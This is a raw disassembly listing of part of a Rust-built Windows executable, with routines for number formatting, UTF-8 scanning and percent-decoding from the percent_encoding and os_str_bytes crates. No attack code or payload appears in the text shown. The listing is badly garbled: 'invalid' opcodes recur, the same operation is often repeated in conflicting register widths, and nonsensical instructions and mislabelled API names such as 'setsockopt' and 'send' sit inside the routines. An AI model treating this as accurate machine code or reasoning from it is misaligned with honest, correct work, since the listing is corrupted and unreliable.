mov r8d, 9
mov r8d, 9
add byte [rax], al
add bh, bh
call qword [rax + 0x18]
push rax
sbb byte [rax - 0x77], cl
invalid
invalid
je case.0x1400693d1.1526
mov qword [rsp + 0x30], rsi
mov byte [rsp + 0x38], al
and al, 0x38
xor byte [rax + 0x48382444], cl
and al, 0x38
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x28], 0
and al, 0x28
add byte [rax], al
add byte [rax], al
mov byte [rsp + 0x39], 0
lea r8, [0x1401d1ac0]
lea eax, [0x1401d1ac0]
jmp case.0x1400693d1.1542
inc rcx
inc ecx
mov qword [rsp + 0x40], rcx
mov rcx, qword [rsi + 0x20]
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov eax, dword [rsi + 0x28]
lea rdx, str.ByteCodePointC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fos_str_bytes_6.5.1_src_raw_str.rs
cmpsb byte [rsi], byte [rdi]
sbb al, 0x13
add byte [rcx - 0x48], al
invalid
invalid
mov r8d, 4
add al, 0
add byte [rax], al
call qword [rax + 0x18]
sbb byte [rax - 0x77], cl
je 0x14009ffb3
mov qword [rsp + 0x30], rsi
xor byte [rax + 0x48382444], cl
mov dword [rsp + 0x28], 0
and al, 0x28
add byte [rax], al
add byte [rax], al
invalid
mov byte [rsp + 0x38], al
mov qword [rsp + 0x28], 0
add dh, al
and al, 0x39
add byte [rbp + rcx*4 + 5], cl
invalid
invalid
invalid
xchg edi, eax
sbb dl, byte [rbx]
mov byte [rsp + 0x39], 0
lea r8, [0x1401d1a40]
add byte [rax - 0x73], cl
and al, 0x28
lea rcx, [rsp + 0x28]
lea rdx, [rsp + 0x40]
call fcn.14005cdb0
mov rax, qword [rsp + 0x28]
and al, 0x28
clc
int 0xfb
dec dword [rax - 0x75]
and al, 0x28
movzx ecx, byte [rsp + 0x38]
test rax, rax
je case.0x1400693d1.1571
mov bl, 1
test cl, cl
jne 0x1400a0041
mov rsi, qword [rsp + 0x30]
cmp rax, 1
cmp eax, 1
add al, 0x75
sbb al, 0x48
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, str._____
invalid
adc eax, dword [rax]
mov r8d, 1
add dword [rax], eax
add byte [rax], al
call qword [rax + 0x18]
test al, al
jne 0x1400a0041
mov rcx, qword [rsi + 0x20]
mov ecx, dword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x1401dff48]
mov r8d, 1
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov eax, dword [rsi + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, case.0x14007e8e8.491
and dword [rbx], edx
invalid
mov r8d, 3
mov ebx, ecx
test bl, bl
setne al
ror byte [rax - 0x7d], 0xc4
pop rbx
fisttp dword [rdi]
xchg ebp, eax
ror byte [rax - 0x7d], 0xc4
pop rbx
pop rsi
ret
add byte [rax - 0x75], cl
add dword [rbx - 0x3e09cbb6], ecx
test cl, 0x10
jne 0x1400a00ad
test cl, 0x20
jne case.0x1400693d1.1636
add byte [rax], al
movzx eax, byte [rax]
cmp rax, 0x63
jbe 0x1400a018b
movzx ecx, al
lea r8d, [rcx + rcx*4]
lea r8d, [rcx + r8*8]
add al, 0xc1
rol dword [rcx - 0x3f], 0xe8
or al, 0x41
imul ecx, r8d, 0x64
shr r8d, 0xc
imul ecx, r8d, 0x64
sub al, cl
movzx eax, al
lea rcx, str.00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899
stc
xchg ecx, eax
adc byte [rax], al
invalid
movzx eax, word [rcx + rax*2]
mov word [rsp + 0x5d], ax
mov ecx, 0x24
add byte [rax], al
add byte [rcx + rcx*4 - 0x40], al
mov eax, r8d
mov eax, r8d
jmp 0x1400a0194
add byte [rax + 0x30], bh
mov r10d, r8d
nop
mov rcx, r9
leave
mov r9d, r8d
and r9b, 0xf
cmovno eax, eax
invalid
add al, 0x41
cmp cl, 0xa
mov r11d, 0x57
add byte [rax], al
cmovb r11d, eax
add r11b, r9b
retf
mov byte [rsp + rcx + 0x36], r11b
pop rsp
or al, 0x36
or al, 0x36
lea r9, [rcx - 1]
cmp r8b, 0x10
mov r8d, r10d
mov eax, edx
jae 0x1400a00c0
jmp 0x1400a0141
movzx r8d, byte [rax]
mov r9d, 0x81
add dword [rax], 0x30b80000
add byte [rax], al
invalid
add byte [rcx - 0x47], al
add dword [rax], 0x30b80000
add byte [rax], al
add byte [rbp - 0x77], al
mov r10d, r8d
invalid
invalid
mov r10d, r8d
nop word cs:[rax + rax]
mov rcx, r9
mov r9d, r8d
mov ecx, eax
mov r11d, 0x37
cmovb r11d, eax
add r11b, r9b
mov byte [rsp + rcx + 0x36], r11b
or al, 0x36
lea r9, [rcx - 1]
cmp r8b, 0x10
mov r8d, r10d
sal byte [rbx - 0x31], 1
add rcx, 0xfffffffffffffffe
add ecx, 0xfffffffe
cmp rcx, 0x80
ja 0x1400a01e9
mov eax, 0x81
sub rax, r9
add rcx, rsp
add rcx, 0x38
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rcx
lea r8, [0x140204ae8]
mov r9d, 2
add byte [rax], al
mov rcx, rdx
mov dl, 1
call fcn.140059040
invalid
invalid
sti
invalid
nop
add rsp, 0xb8
ret
mov ecx, 0x26
cmp al, 0xa
jae 0x1400a019c
or al, 0x30
lea rcx, str.00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899
add byte [rdi], cl
mov bh, 4
mov word [rsp + 0x5d], ax
movzx eax, word [rcx + rax*2]
mov word [rsp + 0x5d], ax
mov ecx, 0x25
lea rax, [rsp + rcx]
add rax, 0x38
add eax, 0x38
mov r8d, 0x27
sub r8, rcx
mov qword [rsp + 0x28], r8
mov qword [rsp + 0x20], rax
lea r8, [0x140204680]
mov rcx, rdx
add esp, 0xb8
ret
lea r8, str.librarycore_src_fmt_num.rs
mov edx, 0x80
call fcn.140160e60
or al, 0xc
add byte [rdi], cl
invalid
adc byte [rax], al
je 0x1400a0209
xor eax, eax
ret
mov r8, qword [rcx]
mov rdx, qword [rcx + 8]
cmp r8, rdx
je 0x1400a0206
mov rax, rdx
mov eax, edx
sub rax, r8
xor r9d, r9d
nop
lea r10, [r8 + r9]
adc al, 8
inc r10
movzx r11d, byte [r8 + r9]
and r11b, 0xc0
cmp r11b, 0x80
jne case.0x140065142.1829
mov qword [rcx], r10
mov byte [rcx + 0x10], 1
mov rax, r9
ret
ror byte [rbx + rcx*4 + 0x44], 0x24
push rax
mov r10, rdx
sub r10, rcx
jb 0x1400a0274
cmp rdx, r9
ja 0x1400a027b
add rax, rcx
mov rdx, r10
add rsp, 0x28
ret
call fcn.140161190
ud2
mov rcx, rdx
mov rdx, r9
call fcn.140160f40
mov edx, 0xf000c0c
invalid
mov edx, 0xf000c0c
or ecx, esp
int3
add byte [rax], al
add rdx, rcx
mov qword [rsp + 0x60], rcx
and al, 0x60
mov qword [rsp + 0x68], rdx
push rsp
and al, 0x68
mov byte [rsp + 0x70], 2
mov word [rsp + 0x78], 0x100
lea rcx, [rsp + 0x60]
shr rsi, 0x20
cmp al, 3
jne case.0x140065142.1835
lea rcx, [rsp + 0x60]
call fcn.14009f740
mov qword [rsp + 0x28], rax
and al, 0x28
cmp al, 4
jne 0x1400a0346
mov eax, esi
add rsp, 0x80
add byte [rax], 0
add byte [rsi - 0x3d], bl
add byte [rax], 0
add byte [rsi - 0x3d], bl
lea rcx, [0x1401d1b79]
lea r8, [0x1401d1ba8]
mov ecx, eax
shr ecx, 8
mov byte [rsp + 0x30], al
shr eax, 0x18
mov byte [rsp + 0x33], al
mov word [rsp + 0x31], cx
xor dword [rcx + 0x48342474], ecx
lea eax, [0x1401d1bc0]
sahf
sbb byte [rbx], dl
invalid
mov qword [rsp + 0x20], rax
lea rcx, str.invalid_raw_bytesC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fos_str_bytes_6.5.1_srcwindows_raw.rscannot_parse_code_point_from_empty_string
lea r9, [0x1401d1a60]
lea r8, [rsp + 0x30]
lea eax, [rsp + 0x30]
mov edx, setsockopt
call fcn.140161200
or al, 0
or al, 0
ud2
lea rax, str.multiple_code_points_found
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
cmp byte [rcx], al
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x16431e
invalid
invalid
invalid
invalid
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
lea rcx, [rsp + 0x28]
lea rdx, [rsp + 0x30]
push rsp
and al, 0x30
call fcn.1401634a0
ud2
sub rsp, 0x48
mov rsi, rdx
mov rax, qword [rcx]
cmp byte [rax], 4
jne 0x1400a03b3
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov eax, dword [rsi + 0x28]
mov eax, dword [rsi + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, str.NoneSome
lea edx, str.NoneSome
adc eax, dword [rax]
mov r8d, 4
add rsp, 0x48
pop rbx
pop rsi
jmp rax
mov qword [rsp + 0x40], rax
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
sub byte [rax - 0x73], r9b
adc eax, 0x13e5d5
adc eax, 0x13e5d5
mov r8d, 4
call qword [rax + 0x18]
mov qword [rsp + 0x30], rsi
mov byte [rsp + 0x38], al
and al, 0x38
mov qword [rsp + 0x28], 0
mov byte [rsp + 0x39], 0
lea r8, [0x1401d1aa0]
lea rcx, [rsp + 0x28]
lea rdx, [rsp + 0x40]
and al, 0x40
call fcn.14005cdb0
mov rax, qword [rsp + 0x28]
mov eax, dword [rsp + 0x28]
movzx ecx, byte [rsp + 0x38]
test rax, rax
je case.0x140065142.1846
mov bl, 1
test cl, cl
jne 0x1400a0464
mov rsi, qword [rsp + 0x30]
cmp rax, 1
jne 0x1400a0446
cmp byte [rsp + 0x39], 0
je 0x1400a0446
test byte [rsi + 0x34], 4
jne 0x1400a0446
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, str._____
pushfq
adc eax, dword [rax]
mov r8d, 1
call qword [rax + 0x18]
test al, al
jne 0x1400a0464
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x1401dff48]
mov r8d, 1
mov eax, 1
call qword [rax + 0x18]
mov ebx, eax
jmp 0x1400a0464
mov ebx, ecx
test bl, bl
setne al
add rsp, 0x48
pop rbx
pop rsi
ret
mov rsi, rdx
mov rax, qword [rcx]
cmp byte [rax], 3
add esi, dword [rbp + 0x41]
add rax, 4
add eax, 4
mov qword [rsp + 0x40], rax
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x1401daeb8]
stosb byte [rdi], al
adc eax, dword [rax]
stosb byte [rdi], al
adc eax, dword [rax]
mov r8d, 2
call qword [rax + 0x18]
mov qword [rsp + 0x30], rsi
mov byte [rsp + 0x38], al
mov qword [rsp + 0x28], 0
mov byte [rsp + 0x39], 0
lea r8, [0x1401d1ac0]
adc eax, dword [rax]
jmp 0x1400a04fd
mov qword [rsp + 0x40], rax
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x1401daee0]
and al, 0x30
mov byte [rsp + 0x38], al
mov qword [rsp + 0x28], 0
mov byte [rsp + 0x39], 0
lea rcx, [rsp + 0x28]
lea rdx, [rsp + 0x40]
call fcn.14005cdb0
mov rax, qword [rsp + 0x28]
movzx ecx, byte [rsp + 0x38]
mov esi, dword [rsp + 0x30]
cmp rax, 1
jne 0x1400a0555
cmp byte [rsp + 0x39], 0
je 0x1400a0555
test byte [rsi + 0x34], 4
jne 0x1400a0555
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, str._____
lea edx, str._____
mov r8d, 1
call qword [rax + 0x18]
test al, al
jne 0x1400a0573
mov rcx, qword [rsi + 0x20]
mov ecx, dword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x1401dff48]
lea edx, [0x1401dff48]
adc eax, dword [rax]
mov r8d, 1
call qword [rax + 0x18]
mov ebx, eax
jmp 0x1400a0573
test bl, bl
setne al
xchg ebp, eax
ror byte [rax - 0x7d], 0xc4
pop rbx
xchg ebp, eax
ror byte [rax - 0x7d], 0xc4
pop rbx
pop rsi
ret
sub rsp, 0x48
mov rsi, rdx
mov rax, qword [rcx]
movzx ecx, byte [rax]
test rcx, rcx
je case.0x1400693d1.1742
cmp ecx, 1
jne 0x1400a0690
add rax, 4
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x40], eax
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x1401d1c2c]
mov r8d, 9
mov eax, 9
call qword [rax + 0x18]
mov qword [rsp + 0x30], rsi
mov byte [rsp + 0x38], al
mov qword [rsp + 0x28], 0
xor byte [rax + 0x48382444], cl
mov dword [rsp + 0x28], 0
mov byte [rsp + 0x39], 0
lea r8, [0x1401d1ac0]
lea eax, [0x1401d1ac0]
lea eax, [0x1401d1ac0]
jmp 0x1400a061c
inc rax
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x40], eax
mov dword [rsp + 0x40], eax
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, str.ByteCodePointC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fos_str_bytes_6.5.1_src_raw_str.rs
mov r8d, 4
mov eax, 4
call qword [rax + 0x18]
mov qword [rsp + 0x30], rsi
mov byte [rsp + 0x38], al
mov qword [rsp + 0x28], 0
xor byte [rax + 0x48382444], cl
mov dword [rsp + 0x28], 0
mov byte [rsp + 0x39], 0
lea r8, [0x1401d1a40]
lea eax, [0x1401d1a40]
lea rcx, [rsp + 0x28]
lea rdx, [rsp + 0x40]
lea edx, [rsp + 0x40]
call fcn.14005cdb0
mov rax, qword [rsp + 0x28]
movzx ecx, byte [rsp + 0x38]
test rax, rax
test eax, eax
test eax, eax
je 0x1400a06b2
mov bl, 1
test cl, cl
jne 0x1400a06b4
mov rsi, qword [rsp + 0x30]
cmp rax, 1
jne 0x1400a0674
je 0x1400a0668
xor byte [rax - 0x7d], cl
clc
add dword [rbp + 0x29], esi
cmp byte [rsp + 0x39], 0
je 0x1400a0674
test byte [rsi + 0x34], 4
adc eax, 0x139a49
mov r8d, 1
mov eax, 1
call qword [rax + 0x18]
test al, al
jne 0x1400a06b4
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x1401dff48]
adc eax, 0x13f8c5
add byte [rcx - 0x48], al
add dword [rax], eax
add byte [rax], al
mov r8d, 1
call qword [rax + 0x18]
mov ebx, eax
jmp 0x1400a06b4
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
sub byte [rax - 0x75], r9b
sbb byte [rax - 0x73], cl
adc eax, 0x131b7c
add byte [rcx - 0x48], al
add eax, dword [rax]
add byte [rax], al
mov r8d, 3
add rsp, 0x48
pop rbx
pop rsi
jmp rax
mov ebx, ecx
test bl, bl
in al, dx
sub byte [rax - 0x73], cl
or eax, 0x13dd9d
lea r8, str.librarypanic_abort_srclib.rs
mov edx, 0x28
add al, ch
invalid
or byte [rax + rax], cl
ud2
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x48
mov rsi, rcx
mov rcx, qword [rdx + 8]
or byte [rcx - 0x77], cl
iretd
sub r15, 1
jae 0x1400a0715
lea rax, [0x140204680]
add eax, 0x163f79
mov qword [rsi + 8], rax
mov qword [rsi + 0x10], 0
jmp 0x1400a076f
mov rbx, rdx
mov r14, qword [rdx]
movzx eax, byte [r14]
invalid
movzx edx, al
mov rax, qword [rbx + 0x10]
test dl, dl
js 0x1400a073b
mov r8d, edx
shr r8d, 5
mov r8d, dword [rax + r8*4]
bt r8d, edx
bt eax, edx
bt eax, edx
jae 0x1400a077b
inc r14
mov qword [rbx], r14
mov qword [rbx + 8], r15
mov dword [rbx + 8], edi
mov dword [rbx + 8], edi
lea rcx, [rdx + rdx*2]
mov r12, r14
lea r14, [0x1401d1de4]
add r14, rcx
jae 0x1400a07cd
mov rcx, rdi
mov qword [rsi + 8], r14
mov qword [rsi + 0x10], rcx
mov qword [rsi], 0
mov edx, 1
cmp rcx, rdx
je 0x1400a0a21
ror dword [rdi], 1
test byte [rax + 0x48000002], bl
mov edi, edx
mov rdi, rdx
movzx edx, byte [r14 + rdx]
test dl, dl
js 0x1400a07ad
movzx r8d, dl
mov edx, r8d
shr edx, 5
add eax, 0x900c8b44
nop
lea rdx, [rdi + 1]
bt r9d, r8d
jae 0x1400a0780
sub rcx, rdi
jb 0x1400a0a6e
mov edi, ecx
mov rcx, r15
sub rcx, 1
jb 0x1400a0764
movzx edx, byte [r12]
movzx edx, dl
test dl, dl
sar byte [rax + 0x15], cl
mov r8d, edx
shr r8d, 5
call 0x144954de8
invalid
add al, 0x80
bt r8d, edx
jae 0x1400a09d3
inc r12
mov qword [rbx], r12
mov qword [rbx + 8], rcx
or byte [r8 - 0x73], cl
add al, 0x52
lea r12, [0x1401d1de4]
add byte [rcx + 1], cl
invalid
add r12, rax
mov r15d, 3
test rdi, rdi
je 0x1400a0861
js 0x1400a0a88
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
invalid
test rcx, rcx
jne 0x1400a083f
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x1400a0852
mov rcx, rax
mov ecx, eax
mov qword [0x140215360], rax
xor edx, edx
mov r8, rdi
mov eax, edi
mov eax, edi
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r13, rax
test rax, rax
jne 0x1400a0867
mov ecx, 1
mov rdx, rdi
add byte [rax - 0x77], cl
cli
call fcn.14015d7f0
ud2
mov r13d, 1
mov ebp, 1
mov qword [rsp + 0x40], rsi
mov rcx, r13
mov rdx, r14
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
int1
ret 0xb
mov qword [rsp + 0x28], r13
sub byte [rax - 0x77], cl
jl 0x1400a08a7
and al, 0x30
and al, 0x30
mov qword [rsp + 0x38], rdi
test r15, r15
jne 0x1400a0a4f
lea rcx, [rdi + r13]
add edi, edi
mov qword [rsp + 0x38], rdi
mov r14, qword [rbx + 8]
test r14, r14
je 0x1400a09ac
adc eax, dword [rax]
jmp 0x1400a0920
inc r15
dec r14
test byte [rcx - 0x42], 3
add byte [rax], al
add byte [rax - 0x75], cl
and al, 0x30
mov rax, qword [rsp + 0x30]
sub rax, rdi
cmp rax, r14
jb 0x1400a098d
xchg ebx, eax
add byte [rax], al
invalid
lea rcx, [rdi + r13]
mov rdx, r15
mov r8, r14
mov eax, esi
mov eax, esi
call sub.VCRUNTIME140.dll_memcpy
add rdi, r14
mov qword [rsp + 0x38], rdi
mov r14, rsi
mov r15, rbx
fisttp word [rax - 0x7b]
test byte [rdi], 0x84
mov word [rax], es
add byte [rax], al
movzx eax, byte [r15]
mov dh, 7
movzx eax, al
test al, al
js 0x1400a08d0
mov ecx, eax
shr ecx, 5
mov ecx, dword [r12 + rcx*4]
bt ecx, eax
invalid
jb 0x1400a08d0
mov ecx, 1
nop
cmp r14, rcx
je 0x1400a097f
invalid
mov rax, rcx
movzx ecx, byte [r15 + rcx]
test cl, cl
js 0x1400a0967
movzx edx, cl
mov ecx, edx
bt eax, edx
jae 0x1400a0940
sub r14, rax
jb 0x1400a0a6e
lea rbx, [r15 + rax]
mov rsi, r14
test byte [rcx - 0x77], 0xc6
test byte [rcx - 0x77], 0xc6
jmp 0x1400a08e9
lea rbx, [0x140204680]
cli
cmp al, 0x16
add byte [rcx], dh
imul cl
pop rsp
invalid
xor esi, esi
jmp 0x1400a08e9
lea rcx, [rsp + 0x28]
mov rdx, rdi
mov r8, r14
mov eax, esi
call fcn.1401614a0
mov r13, qword [rsp + 0x28]
mov ebp, dword [rsp + 0x28]
mov rdi, qword [rsp + 0x38]
jmp 0x1400a08fa
mov rax, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x40]
add rsp, 0x48
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov edx, 1
nop dword [rax + rax]
cmp r15, rdx
xlatb
je 0x1400a0a38
mov rcx, rdx
movzx edx, byte [r12 + rdx]
test dl, dl
js 0x1400a0a09
movzx r8d, dl
mov edx, r8d
mov edx, eax
mov edx, eax
shr edx, 5
mov r9d, dword [rax + rdx*4]
nop
lea rdx, [rcx + 1]
bt r9d, r8d
jae 0x1400a09e0
add dword [rbp + 0xf], eax
movabs dword [0x6072cf2949d773c1], eax
sub r15, rcx
jb 0x1400a0a6e
lea rax, [r12 + rcx]
mov qword [rbx], rax
mov qword [rbx + 8], r15
mov dword [rbx + 8], edi
mov dword [rbx + 8], edi
mov r15, rcx
jmp 0x1400a080c
std
invalid
invalid
lea rax, [0x140204680]
lea eax, [0x140204680]
mov qword [rbx], rax
mov qword [rbx + 8], 0
jmp 0x1400a0767
invalid
invalid
lea rax, [0x140204680]
mov qword [rbx], rax
mov qword [rbx + 8], 0
jmp 0x1400a080c
lea rcx, [rsp + 0x28]
mov rdx, rdi
mov r8, r15
call fcn.1401614a0
add byte [rbx + rcx*4 + 0x6c], cl
and al, 0x28
and al, 0x28
mov rdi, qword [rsp + 0x38]
jmp 0x1400a0892
lea rcx, str.assertion_failed:_mid___self.len___rustc_cc66ad468955717ab92600c770da8c1601a4ff33librarycore_srcescape.rs
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fpercent_encoding_2.3.0_srclib.rs_00_01_02_03_04_05_06_07_08_09_0A_0B_0C_0D_0E_0F_10_11_12_13_14_15_16_17_18_19_1A_1B_1C_1D_1E_1F_20_21_22_23_24_25_26_27_28_29_2A_2B_2C_2D_2E_2F_30_31_32_33_34_35_36_37_38_39_3A_3B_3C_3D_3E_3F_40_41_42_43_44_45_46_47_48_49_4A_4B_4C_4D_4E_4F_50_51_52_53_54_55_56_57_58_59_5A_5B_5C_5D_5E_5F_60_61_62_63_64_65_66_67_68_69_6A_6B_6C_6D_6E_6F_70_71_72_73_74_75_76_77_78_79_7A_7B_7C_7D_7E_7F_80_81_82_83_84_85_86_87_88_89_8A_8B_8C_8D_8E_8F_90_91_92_93_94_95_96_97_98_99_9A_9B_9C_9D_9E_9F_A0_A1_A2_A3_A4_A5_A6_A7_A8_A9_AA_AB_AC_AD_AE_AF_B0_B1_B2_B3_B4_B5_B6_B7_B8_B9_BA_BB_BC_BD_BE_BF_C0_C1_C2_C3_C4_C5_C6_C7_C8_C9_CA_CB_CC_CD_CE_CF_D0_D1_D2_D3_D4_D5_D6_D7_D8_D9_DA_DB_DC_DD_DE_DF_E0_E1_E2_E3_E4_E5_E6_E7_E8_E9_EA_EB_EC_ED_EE_EF_F0_F1_F2_F3_F4_F5_F6_F7_F8_F9_FA_FB_FC_FD_FE_FF
lea eax, [0x1401d20e8]
lea eax, [0x1401d20e8]
mov edx, 0x23
call fcn.140160fb0
sub al, byte [0x14b190a94]
sub al, byte [0x14b190a94]
call fcn.1400138d0
ud2
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x68
in al, dx
push 0x48c3894c
ret
mov rdi, rdx
ret
lea rax, [rdx + 2]
mov r8d, 0xffffffff
jmp fcn.1400a0ac3
nop word cs:[rax + rax]
inc rax
ror byte [rax - 0x73], 0x68
dec byte [rax + 0x39]
fisttp qword [rdi]
test byte [rbx - 0x80000000], dh
js 0x1400a0ad1
and eax, 0x8d48ea75
push rax
dec dword [rax + 0x39]
fidiv dword [rcx + riz*8 + 0xf]
mov dh, send
lea r13d, [rdx - 0x30]
cmp r13d, 0xa
jb 0x1400a0b01
or edx, 0x20
add edx, 0xffffff9f
add edx, 0xa
cmovb edx, r8d
cmovb edx, eax
mov r13d, edx
cmp edx, 0xf
emms
invalid
cmp rax, rbx
cmp eax, ebx
je 0x1400a0ac0
movzx edx, byte [rax]
lea esi, [rdx - 0x30]
cmp esi, 0xa
jb 0x1400a0b25
or edx, 0x20
add edx, 0xffffff9f
lahf
lahf
add edx, 0xa
cmovb edx, r8d
cmp edx, 0x10
jae 0x1400a0ac0
popfq
popfq
mov esi, edx
add rbp, 3
mov r14, rbx
sub r14, rdi
mov r15, rbp
sub r15, rdi
add r15, 0xfffffffffffffffd
add edi, 0xfffffffd
add edi, 0xfffffffd
cmp r15, r14
ja 0x1400a0d33
int1
add dword [rax], eax
invalid
test r15, r15
mov qword [rsp + 0x48], rcx
je 0x1400a0b98
setns al
js 0x1400a0d47
movzx edx, al
movzx eax, byte [0x1402153f8]
mov rcx, r15
mov qword [rsp + 0x40], rdx
call fcn.140013830
mov r12, rax
test rax, rax
jne case.0x1400693d1.1788
mov rcx, qword [rsp + 0x40]
mov rdx, r15
call fcn.14015d7f0
int3
or eax, dword [rax]
ud2
invalid
or ecx, dword [rax + 0x29]
sti
mov r14, rbx
mov qword [rcx + 8], rdi
mov qword [rcx + 0x10], r14
mov dword [rcx + 0x10], esi
xor eax, eax
jmp 0x1400a0d1f
mov r12d, 1
shl r13b, 4
or sil, r13b
mov rcx, r12
mov rdx, rdi
mov r8, r15
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsp + 0x28], r12
lea r12, [rsp + 0x30]
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x30], edi
mov qword [rsp + 0x38], r15
lea rcx, [rsp + 0x28]
mov rdx, r15
call fcn.1400159e0
mov rax, qword [rsp + 0x28]
mov r15, qword [rsp + 0x38]
mov byte [rax + r15], sil
inc r15
mov qword [rsp + 0x38], r15
cmp rbp, rbx
je 0x1400a0d07
test byte [rcx + rax], dl
add byte [rax], al
mov rsi, r12
lea rcx, [rbx + 2]
mov qword [rsp + 0x40], rcx
mov r9d, 0xffffffff
invalid
jmp 0x1400a0c33
mov r13, rbx
nop word [rax + rax]
cmp r15, qword [rsp + 0x30]
je 0x1400a0cb2
mov byte [rax + r15], r12b
inc r15
mov qword [rsp + 0x38], r15
mov rbp, r13
cmp r13, rbx
je 0x1400a0ceb
lea r13, [rbp + 1]
movzx r12d, byte [rbp]
cmp r12b, 0x25
cld
invalid
jne 0x1400a0c10
mov r12b, 0x25
cmp r13, rbx
je 0x1400a0c07
movzx edx, byte [rbp + 1]
lea ecx, [rdx - 0x30]
cmp ecx, 0xa
jb 0x1400a0c6a
or edx, 0x20
add edx, 0xffffff9f
add edx, 0xa
or al, byte [rcx + 0xf]
ror dword [rcx + 0xffa83d1], 1
ror dword [rcx + 0xffa83d1], 1
ror dword [rcx + 0xffa83d1], 1
ja 0x1400a0c10
lea rdx, [rbp + 2]
cmp rdx, rbx
je 0x1400a0c10
movzx r8d, byte [rbp + 2]
lea edx, [r8 - 0x30]
cmp edx, 0xa
or dh, byte [rdx + 0x1d]
or r8d, 0x20
add r8d, 0xffffff9f
add r8d, 0xa
or al, byte [rbp + 0xf]
invalid
invalid
mov edx, r8d
cmp r8d, 0xf
ja 0x1400a0c10
add rbp, 3
shl cl, 4
or dl, cl
mov r13, rbp
mov r12d, edx
jmp 0x1400a0c10
pop rsi
invalid
invalid
invalid
mov rax, qword [rsp + 0x40]
sub rax, r13
sub eax, ebp
sub eax, ebp
movabs rcx, 0xaaaaaaaaaaaaaaab
stosb byte [rdi], al
stosb byte [rdi], al
mul rcx
shr rdx, 1
lea r8, [rdx + 1]
lea rcx, [rsp + 0x28]
mov rdx, r15
call fcn.1401614a0
mov r9d, 0xffffffff
invalid
invalid
invalid
dec dword [rax - 0x75]
mov eax, dword [rsp + 0x28]
mov eax, dword [rsp + 0x28]
jmp 0x1400a0c1b
mov rax, qword [rsp + 0x28]
movups xmm0, xmmword [r12]
movaps xmmword [rsp + 0x50], xmm0
mov rcx, qword [rsp + 0x48]
movaps xmm0, xmmword [rsp + 0x50]
movups xmmword [rcx + 8], xmm0
invalid
mov qword [rcx], rax
add rsp, 0x68
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fpercent_encoding_2.3.0_srclib.rs_00_01_02_03_04_05_06_07_08_09_0A_0B_0C_0D_0E_0F_10_11_12_13_14_15_16_17_18_19_1A_1B_1C_1D_1E_1F_20_21_22_23_24_25_26_27_28_29_2A_2B_2C_2D_2E_2F_30_31_32_33_34_35_36_37_38_39_3A_3B_3C_3D_3E_3F_40_41_42_43_44_45_46_47_48_49_4A_4B_4C_4D_4E_4F_50_51_52_53_54_55_56_57_58_59_5A_5B_5C_5D_5E_5F_60_61_62_63_64_65_66_67_68_69_6A_6B_6C_6D_6E_6F_70_71_72_73_74_75_76_77_78_79_7A_7B_7C_7D_7E_7F_80_81_82_83_84_85_86_87_88_89_8A_8B_8C_8D_8E_8F_90_91_92_93_94_95_96_97_98_99_9A_9B_9C_9D_9E_9F_A0_A1_A2_A3_A4_A5_A6_A7_A8_A9_AA_AB_AC_AD_AE_AF_B0_B1_B2_B3_B4_B5_B6_B7_B8_B9_BA_BB_BC_BD_BE_BF_C0_C1_C2_C3_C4_C5_C6_C7_C8_C9_CA_CB_CC_CD_CE_CF_D0_D1_D2_D3_D4_D5_D6_D7_D8_D9_DA_DB_DC_DD_DE_DF_E0_E1_E2_E3_E4_E5_E6_E7_E8_E9_EA_EB_EC_ED_EE_EF_F0_F1_F2_F3_F4_F5_F6_F7_F8_F9_FA_FB_FC_FD_FE_FF
mov rcx, r15
mov rdx, r14
mov edx, esi
